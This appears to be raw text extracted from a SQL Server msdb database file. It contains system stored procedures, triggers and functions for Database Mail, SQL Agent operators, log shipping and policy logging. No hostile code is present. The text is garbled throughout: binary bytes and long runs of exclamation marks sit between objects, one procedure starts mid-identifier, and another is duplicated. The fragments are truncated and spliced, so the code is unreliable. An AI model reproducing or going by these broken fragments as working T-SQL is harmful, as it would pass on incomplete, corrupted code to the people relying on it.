      IF (@mailserver_name IS NOT NULL)
         UPDATE msdb.dbo.sysmail_server 
         SET servername=@mailserver_name, port=@port, credential_id = @credential_id, use_default_credentials = @use_default_credentials, enable_ssl = @enable_ssl, timeout = @timeout
         WHERE account_id=@accountid AND servertype=@mailserver_type
   
      ELSE
         UPDATE msdb.dbo.sysmail_server 
         SET port=@port, credential_id = @credential_id, use_default_credentials = @use_default_credentials, enable_ssl = @enable_ssl, timeout = @timeout
         WHERE account_id=@accountid AND servertype=@mailserver_type
   END
      
   COMMIT TRAN
   RETURN(0)
0f &8((-1))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!``"<	<MeT
0i 8CREATE TRIGGER trig_targetserver_insert
ON msdb.dbo.systargetservers
FOR INSERT, DELETE
AS
BEGIN
  SET NOCOUNT ON

  -- Disallow the insert if the server is called 'ALL'
  -- NOTE: We have to do this check here in the trigger since there is no sp_add_targetserver
  --       (target servers insert a row for themselves when they 'enlist' in an MSX)
  IF (EXISTS (SELECT *
              FROM inserted
              WHERE (server_name = N'ALL')))
  BEGIN
    DELETE FROM msdb.dbo.systargetservers
    WHERE (server_name = N'ALL')
    RAISERROR(14271, -1, -1, 'ALL')
    RETURN
  END

  -- Set (or delete) the registy flag (so that SETUP can detect if we're an MSX)
  IF ((SELECT COUNT(*)
       FROM msdb.dbo.systargetservers) = 0)
  BEGIN
    DECLARE @val INT

    EXECUTE master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE',
                                           N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                           N'MSXServer',
                                           @val OUTPUT,
                                           N'no_output'
    IF (@val IS NOT NULL)
      EXECUTE master.dbo.xp_instance_regdeletevalue N'HKEY_LOCAL_MACHINE',
                                                    N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                                    N'MSXServer'
  END
  ELSE
    EXECUTE master.dbo.xp_instance_regwrite N'HKEY_LOCAL_MACHINE',
                                            N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                            N'MSXServer',
                                            N'REG_DWORD',
                                            1
END
0<i %8((0))0i 8
CREATE PROCEDURE dbo.sysmail_add_profileaccount_sp
   @profile_id int = NULL, -- must provide id or name
   @profile_name sysname = NULL,
   @account_id int = NULL, -- must provide id or name
   @account_name sysname = NULL,
   @sequence_number int -- account with the lowest sequence number is picked as default
AS
   SET NOCOUNT ON

   DECLARE @rc int
   DECLARE @profileid int
   DECLARE @accountid int

   exec @rc = msdb.dbo.sysmail_verify_profile_sp @profile_id, @profile_name, 0, 0, @profileid OUTPUT
   IF @rc <> 0
      RETURN(1)

   exec @rc = msdb.dbo.sysmail_verify_account_sp @account_id, @account_name, 0, 0, @accountid OUTPUT
   IF @rc <> 0
      RETURN(2)

   -- insert new account record, rely on primary key constraint to error out
   INSERT INTO msdb.dbo.sysmail_profileaccount (profile_id,account_id,sequence_number)
   VALUES (@profileid,@accountid,@sequence_number)
   
   RETURN(0)
0i D8+hho#;0I0j +8(getdate())0˧i@ 8CREATE PROCEDURE sp_change_monitor_role
  @primary_server     sysname,
  @secondary_server   sysname,
  @database           sysname,
  @new_source         NVARCHAR (128)
AS BEGIN
  SET NOCOUNT ON

  BEGIN TRANSACTION

  -- drop the secondary
  DELETE FROM msdb.dbo.log_shipping_secondaries 
    WHERE secondary_server_name = @secondary_server AND secondary_database_name = @database

  IF (@@ROWCOUNT <> 1)
  BEGIN
      ROLLBACK TRANSACTION
      RAISERROR (14442,-1,-1)
      return(1)
  END

  -- let everyone know that we are the new primary
  UPDATE msdb.dbo.log_shipping_primaries 
    SET primary_server_name = @secondary_server, primary_database_name = @database, source_directory = @new_source
    WHERE primary_server_name = @primary_server AND primary_database_name = @database

  IF (@@ROWCOUNT <> 1)
  BEGIN
      ROLLBACK TRANSACTION
      RAISERROR (14442,-1,-1)
      return(1)
  END
  COMMIT TRANSACTION

END
0̅j 8CREATE PROCEDURE sp_create_log_shipping_monitor_account @password sysname
AS
BEGIN
  DECLARE @rv INT
  SET NOCOUNT ON
-- raise an error if the password already exists
  if exists(select * from master.dbo.syslogins where loginname = N'log_shipping_monitor_probe')
  begin
    raiserror(15025,-1,-1,N'log_shipping_monitor_probe')
    RETURN (1) -- error
  end

  IF (@password = N'')
  BEGIN
    EXECUTE @rv = sp_addlogin N'log_shipping_monitor_probe', @defdb = N'msdb'
    IF @@error <>0 or @rv <> 0
      RETURN (1) -- error
  END
  ELSE
  BEGIN
    EXECUTE @rv = sp_addlogin N'log_shipping_monitor_probe', @password, N'msdb'
    IF @@error <>0 or @rv <> 0
      RETURN (1) -- error
  END

  EXECUTE @rv = sp_grantdbaccess N'log_shipping_monitor_probe', N'log_shipping_monitor_probe'
  IF @@error <>0 or @rv <> 0
    RETURN (1) -- error

  GRANT UPDATE ON log_shipping_primaries   TO log_shipping_monitor_probe
  GRANT UPDATE ON log_shipping_secondaries TO log_shipping_monitor_probe
  GRANT SELECT ON log_shipping_primaries   TO log_shipping_monitor_probe
  GRANT SELECT ON log_shipping_secondaries TO log_shipping_monitor_probe

  RETURN (0)
END
0\i 8CREATE TRIGGER [sysmanagement_delete_shared_server_group_trigger] on [msdb].[dbo].[sysmanagement_shared_server_groups_internal] 
FOR DELETE
AS
BEGIN
    -- system server groups should not be deleted
    IF EXISTS (SELECT * FROM deleted where is_system_object = 1)
    BEGIN
        RAISERROR (35008, 1, 1)
        ROLLBACK TRANSACTION
    END
END
0i '8((0.0))0\i %8((0))0ǥj %8((0))leid int
   DECLARE @accountid int

   exec @rc = msdb.dbo.sysmail_verify_profile_sp @profile_id, @profile_name, 0, 0, @profileid OUTPUT
   IF @rc <> 0
      RETURN(1)

   exec @rc = msdb.dbo.sysmail_verify_account_sp @account_id, @account_name, 0, 0, @accountid OUTPUT
   IF @rc <> 0
      RETURN(2)

   IF (@sequence_number IS NULL)
   BEGIN
      RAISERROR(14611, -1, -1)   
      RETURN(3)
   END
   
   UPDATE msdb.dbo.sysmail_profileaccount
   SET sequence_number=@sequence_number
   WHERE profile_id=@profileid AND account_id=@accountid
   
   RETURN(0)
0˧i@ 8CREATE PROCEDURE sp_change_monitor_role
  @primary_server     sysname,
  @secondary_server   sysname,
  @database           sysname,
  @new_source         NVARCHAR (128)
AS BEGIN
  SET NOCOUNT ON

  BEGIN TRANSACTION

  -- drop the secondary
  DELETE FROM msdb.dbo.log_shipping_secondaries 
    WHERE secondary_server_name = @secondary_server AND secondary_database_name = @database

  IF (@@ROWCOUNT <> 1)
  BEGIN
      ROLLBACK TRANSACTION
      RAISERROR (14442,-1,-1)
      return(1)
  END

  -- let everyone know that we are the new primary
  UPDATE msdb.dbo.log_shipping_primaries 
    SET primary_server_name = @secondary_server, primary_database_name = @database, source_directory = @new_source
    WHERE primary_server_name = @primary_server AND primary_database_name = @database

  IF (@@ROWCOUNT <> 1)
  BEGIN
      ROLLBACK TRANSACTION
      RAISERROR (14442,-1,-1)
      return(1)
  END
  COMMIT TRANSACTION

END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!y5pEK`<IBv_Ղ0(l D8h
%02
m 8
CREATE FUNCTION dbo.get_principal_id(@principal_sid varbinary(85))
RETURNS int
AS
BEGIN
    DECLARE @principal_id int
    SELECT @principal_id=principal_id FROM msdb.sys.database_principals WHERE sid=@principal_sid
    RETURN @principal_id
END
0Mm 
8CREATE PROCEDURE sp_verify_operator
  @name                      sysname,
  @enabled                   TINYINT,
  @pager_days                TINYINT,
  @weekday_pager_start_time  INT,
  @weekday_pager_end_time    INT,
  @saturday_pager_start_time INT,
  @saturday_pager_end_time   INT,
  @sunday_pager_start_time   INT,
  @sunday_pager_end_time     INT,
  @category_name             sysname,
  @category_id               INT OUTPUT
AS
BEGIN
  DECLARE @return_code     TINYINT
  DECLARE @res_valid_range NVARCHAR(100)

  SET NOCOUNT ON

  SELECT @res_valid_range = FORMATMESSAGE(14209)

  -- Remove any leading/trailing spaces from parameters
  SELECT @name          = LTRIM(RTRIM(@name))
  SELECT @category_name = LTRIM(RTRIM(@category_name))

  -- The name must be unique
  IF (EXISTS (SELECT *
              FROM msdb.dbo.sysoperators
              WHERE (name = @name)))
  BEGIN
    RAISERROR(14261, 16, 1, '@name', @name)
    RETURN(1) -- Failure
  END

  -- Enabled must be 0 or 1
  IF (@enabled NOT IN (0, 1))
  BEGIN
    RAISERROR(14266, 16, 1, '@enabled', '0, 1')
    RETURN(1) -- Failure
  END

  -- Check PagerDays
  IF (@pager_days < 0) OR (@pager_days > 127)
  BEGIN
    RAISERROR(14266, 16, 1, '@pager_days', @res_valid_range)
    RETURN(1) -- Failure
  END

  -- Check Start/End Times
  EXECUTE @return_code = sp_verify_job_time @weekday_pager_start_time, '@weekday_pager_start_time'
  IF (@return_code <> 0)
    RETURN(1)

  EXECUTE @return_code = sp_verify_job_time @weekday_pager_end_time, '@weekday_pager_end_time'
  IF (@return_code <> 0)
    RETURN(1)

  EXECUTE @return_code = sp_verify_job_time @saturday_pager_start_time, '@saturday_pager_start_time'
  IF (@return_code <> 0)
    RETURN(1)

  EXECUTE @return_code = sp_verify_job_time @saturday_pager_end_time, '@saturday_pager_end_time'
  IF (@return_code <> 0)
    RETURN(1)

  EXECUTE @return_code = sp_verify_job_time @sunday_pager_start_time, '@sunday_pager_start_time'
  IF (@return_code <> 0)
    RETURN(1)

  EXECUTE @return_code = sp_verify_job_time @sunday_pager_end_time, '@sunday_pager_end_time'
  IF (@return_code <> 0)
    RETURN(1)

  -- Check category name
  IF (@category_name = N'[DEFAULT]')
    SELECT @category_id = 99
  ELSE
  BEGIN
    SELECT @category_id = category_id
    FROM msdb.dbo.syscategories
    WHERE (category_class = 3) -- Operators
      AND (category_type = 3) -- None
      AND (name = @category_name)
  END
  IF (@category_id IS NULL)
  BEGIN
    RAISERROR(14262, -1, -1, '@category_name', @category_name)
    RETURN(1) -- Failure
  END

  RETURN(0)
END
0Bm !8
CREATE PROCEDURE dbo.sysmail_configure_sp
   @parameter_name nvarchar(256),
   @parameter_value nvarchar(256),
   @description nvarchar(256) = NULL
AS
   SET NOCOUNT ON
   
   IF (@description IS NOT NULL)
      UPDATE msdb.dbo.sysmail_configuration
      SET paramvalue=@parameter_value, description=@description
      WHERE paramname=@parameter_name
   ELSE
      UPDATE msdb.dbo.sysmail_configuration
      SET paramvalue=@parameter_value
      WHERE paramname=@parameter_name

   RETURN(0)
08bm %8((0))0[$l 8CREATE PROC [dbo].[sp_syspolicy_log_policy_execution_start] 
    @policy_id int,
    @is_full_run bit,
    @history_id bigint OUTPUT 
AS
BEGIN
	DECLARE @retval_check int;
	EXECUTE @retval_check = [dbo].[sp_syspolicy_check_membership] 'PolicyAdministratorRole', 0
	IF ( 0!= @retval_check)
	BEGIN
		RETURN @retval_check
	END
    DECLARE @ret int

    SET @history_id = 0

    EXEC @ret = dbo.sp_syspolicy_verify_policy_identifiers NULL, @policy_id
    IF @ret <> 0 RETURN -1

    INSERT syspolicy_policy_execution_history_internal (policy_id, is_full_run) VALUES (@policy_id, @is_full_run) 
    SET @history_id = SCOPE_IDENTITY ()
END
0Hm 8CREATE PROC [dbo].[sp_syspolicy_log_policy_execution_end] 
    @history_id bigint, 
    @result bit,
    @exception_message nvarchar(max) = NULL,
    @exception nvarchar(max) = NULL
AS
BEGIN
	DECLARE @retval_check int;
	EXECUTE @retval_check = [dbo].[sp_syspolicy_check_membership] 'PolicyAdministratorRole', 0
	IF ( 0!= @retval_check)
	BEGIN
		RETURN @retval_check
	END

    UPDATE syspolicy_policy_execution_history_internal 
      SET result = @result,
          end_date = GETDATE(),
          exception_message = @exception_message,
          exception = @exception
      WHERE history_id = @history_id
END
0j>m '8((0.0))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!9De`[<xET4/0ݜq L8CREATE PROCEDURE sp_help_operator_jobs
  @operator_name sysname = NULL
AS
BEGIN
  DECLARE @operator_id INT

  SET NOCOUNT ON

  -- Check operator name
  SELECT @operator_id = id
  FROM msdb.dbo.sysoperators
  WHERE (name = @operator_name)
  IF (@operator_id IS NULL)
  BEGIN
    RAISERROR(14262, -1, -1, '@operator_name', @operator_name)
    RETURN(1) -- Failure
  END

  -- Get the job info
  SELECT job_id, name, notify_level_email, notify_level_netsend, notify_level_page
  FROM msdb.dbo.sysjobs_view
  WHERE ((notify_email_operator_id = @operator_id)   AND (notify_level_email <> 0))
     OR ((notify_netsend_operator_id = @operator_id) AND (notify_level_netsend <> 0))
     OR ((notify_page_operator_id = @operator_id)    AND (notify_level_page <> 0))

  RETURN(0) -- Success
END
0q 8
CREATE PROCEDURE sp_verify_proxy_identifiers
   @name_of_name_parameter [varchar](60),
   @name_of_id_parameter [varchar](60),
   @proxy_name [sysname] OUTPUT,
   @proxy_id [INT] OUTPUT
AS
BEGIN
  DECLARE @retval         INT
  DECLARE @proxy_id_as_char NVARCHAR(36)

  SET NOCOUNT ON

  -- Remove any leading/trailing spaces from parameters
  SELECT @name_of_name_parameter = LTRIM(RTRIM(@name_of_name_parameter))
  SELECT @name_of_id_parameter   = LTRIM(RTRIM(@name_of_id_parameter))
  SELECT @proxy_name             = LTRIM(RTRIM(@proxy_name))

  IF (@proxy_name = N'') SELECT @proxy_name = NULL

  IF ((@proxy_name IS NULL)     AND (@proxy_id IS NULL)) OR
     ((@proxy_name IS NOT NULL) AND (@proxy_id IS NOT NULL))
  BEGIN
    RAISERROR(14524, -1, -1, @name_of_id_parameter, @name_of_name_parameter)
    RETURN(1) -- Failure
  END

  -- Check proxy id
  IF (@proxy_id IS NOT NULL)
  BEGIN
    SELECT @proxy_name = name
    FROM msdb.dbo.sysproxies
    WHERE (proxy_id = @proxy_id)
    IF (@proxy_name IS NULL)
    BEGIN
     SELECT @proxy_id_as_char = CONVERT(nvarchar(36), @proxy_id)
      RAISERROR(14262, -1, -1, @name_of_id_parameter, @proxy_id_as_char)
      RETURN(1) -- Failure
    END
  END
  ELSE
  -- Check proxy name
  IF (@proxy_name IS NOT NULL)
  BEGIN
    -- The name is not ambiguous, so get the corresponding proxy_id (if the job exists)
    SELECT @proxy_id = proxy_id
    FROM msdb.dbo.sysproxies
    WHERE (name = @proxy_name)
    IF (@proxy_id IS NULL)
    BEGIN
      RAISERROR(14262, -1, -1, @name_of_name_parameter, @proxy_name)
      RETURN(1) -- Failure
    END
  END

  RETURN(0) -- Success
END
0 r 8
CREATE PROCEDURE sp_verify_operator_identifiers
   @name_of_name_parameter [varchar](60),
   @name_of_id_parameter [varchar](60),
   @operator_name [sysname] OUTPUT,
   @operator_id [INT] OUTPUT
AS
BEGIN
  DECLARE @retval              INT
  DECLARE @operator_id_as_char NVARCHAR(36)

  SET NOCOUNT ON

  -- Remove any leading/trailing spaces from parameters
  SELECT @name_of_name_parameter = LTRIM(RTRIM(@name_of_name_parameter))
  SELECT @name_of_id_parameter   = LTRIM(RTRIM(@name_of_id_parameter))
  SELECT @operator_name             = LTRIM(RTRIM(@operator_name))

  IF (@operator_name = N'') SELECT @operator_name = NULL

  IF ((@operator_name IS NULL)     AND (@operator_id IS NULL)) OR
     ((@operator_name IS NOT NULL) AND (@operator_id IS NOT NULL))
  BEGIN
    RAISERROR(14524, -1, -1, @name_of_id_parameter, @name_of_name_parameter)
    RETURN(1) -- Failure
  END

  -- Check job id
  IF (@operator_id IS NOT NULL)
  BEGIN
    SELECT @operator_name = name
    FROM msdb.dbo.sysoperators
    WHERE (id = @operator_id)
    IF (@operator_name IS NULL)
    BEGIN
     SELECT @operator_id_as_char = CONVERT(nvarchar(36), @operator_id)
      RAISERROR(14262, -1, -1, '@operator_id', @operator_id_as_char)
      RETURN(1) -- Failure
    END
  END
  ELSE
  -- Check proxy name
  IF (@operator_name IS NOT NULL)
  BEGIN
    -- The name is not ambiguous, so get the corresponding operator_id (if the job exists)
    SELECT @operator_id = id
    FROM msdb.dbo.sysoperators
    WHERE (name = @operator_name)
    IF (@operator_id IS NULL)
    BEGIN
      RAISERROR(14262, -1, -1, '@operator_name', @operator_name)
      RETURN(1) -- Failure
    END
  END

  RETURN(0) -- Success
END
0[r 8
CREATE PROCEDURE dbo.sysmail_delete_principalprofile_sp
   @principal_id int = NULL, -- must provide id or name
   @principal_name sysname = NULL,
   @profile_id int = NULL, -- must provide id or name
   @profile_name sysname = NULL
AS
   SET NOCOUNT ON

   DECLARE @rc int
   DECLARE @principal_sid varbinary(85)
   DECLARE @profileid int

   IF (@principal_id IS NOT NULL AND @principal_id = 0) OR (@principal_name IS NOT NULL AND @principal_name = N'public')
   BEGIN
      IF (@principal_id IS NOT NULL AND @principal_id <> 0) OR (@principal_name IS NOT NULL AND @principal_name <> N'public')
      BEGIN
         RAISERROR(14605, -1, -1, 'principal')  -- id and name do not match
      END
      SET @principal_sid = 0x00 -- public
   END
   ELSE
   BEGIN
      IF (@principal_id IS NOT NULL OR @principal_name IS NOT NULL) 
      BEGIN
         exec @rc = msdb.dbo.sysmail_verify_principal_sp @principal_id, @principal_name, 1, @principal_sid OUTPUT
         IF @rc <> 0
            RETURN(1)
      END
   END
   
   exec @rc = msdb.dbo.sysmail_verify_profile_sp @profile_id, @profile_name, 1, 0, @profileid OUTPUT
   IF @rc <> 0
      RETURN(2)

   IF ((@principal_id IS NOT NULL OR @principal_name IS NOT NULL) AND @profileid IS NOT NULL)
   BEGIN
      DELETE FROM msdb.dbo.sysmail_principalprofile WHERE principal_sid=@principal_sid AND profile_id = @profileid
   END
   ELSE IF (@principal_id IS NOT NULL OR @principal_name IS NOT NULL)
   BEGIN
      DELETE FROM msdb.dbo.sysmail_principalprofile WHERE principal_sid=@principal_sid
   END
   ELSE IF (@profileid IS NOT NULL)
   BEGIN
      DELETE FROM msdb.dbo.sysmail_principalprofile WHERE profile_id = @profileid
   END
   ELSE -- no parameters are supplied for deletion
   BEGIN
      RAISERROR(14608, -1, -1, 'principal', 'profile') 
      RETURN(6)
   END
   
   RETURN(0)
0xټq 8CREATE FUNCTION [dbo].[syspolicy_fn_get_type_name](@event_type_name sysname)
RETURNS sysname
AS
BEGIN
    RETURN 
    (CASE LOWER(@event_type_name)
        WHEN 'procedure' THEN 'StoredProcedure'
        WHEN 'function' THEN 'UserDefinedFunction'
        WHEN 'type' THEN 'UserDefinedType'
        WHEN 'sql user' THEN 'User'
        WHEN 'certificate user' THEN 'User'
        WHEN 'asymmetric key user' THEN 'User'
        WHEN 'windows user' THEN 'User'
        WHEN 'group user' THEN 'User'
        WHEN 'application role' THEN 'ApplicationRole'
        ELSE UPPER(SUBSTRING(@event_type_name, 1,1)) + LOWER(SUBSTRING(@event_type_name, 2,LEN(@event_type_name)))
    END)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!